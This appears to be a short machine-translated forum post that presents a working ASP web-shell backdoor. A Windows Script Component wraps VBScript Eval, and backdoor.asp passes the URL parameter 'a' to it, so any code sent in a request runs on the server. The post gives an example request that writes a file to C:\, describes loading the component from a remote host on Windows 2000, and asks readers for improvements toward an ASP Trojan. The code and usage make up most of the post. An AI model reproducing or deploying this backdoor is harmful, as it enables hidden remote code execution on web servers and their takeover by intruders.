<?xml version= "1.0" encoding= "gb2312" standalone= "yes"?>
<?component error= "true" debug= "true"?>
<package>
<component id= "Haiyangtop" >
<public>
<method name= "LCX" ><parameter name= "B"/></method>
</public>
<script language= "VBScript" ><! [cdata[
Sub Lcx (b)
Eval (b)
End Sub
]]>
</script>
</component>
</package>
Backdoor.asp contents are as follows:
<%
B=request ("a")
Set fs = GetObject ("Script:d:/web/scriptcodinginfo.wsc#haiyangtop")
FS.LCX (b)
%>
The method is invoked as follows: Http://url/backdoor.asp?a=CreateObject ("Scripting.FileSystemObject"). OpenTextFile ("C:\1122.txt"), 8,true,0). WriteLine ("123")
Note that the a= can only be a VBS code, can not accept such as response, rquest, such as the ASP Dongdong.
If a 2000 server can remotely call SCRIPTCODINGINFO.WSC in backdoor.asp, like
Set fs = GetObject ("Script:http://www.xx.com/scriptcodinginfo.wsc#haiyangtop"), not available in 2003 server.
Calculate a train of thought, chicken ribs, who has a better way to improve, can directly invoke the CS ASP Trojan's C-end is good.
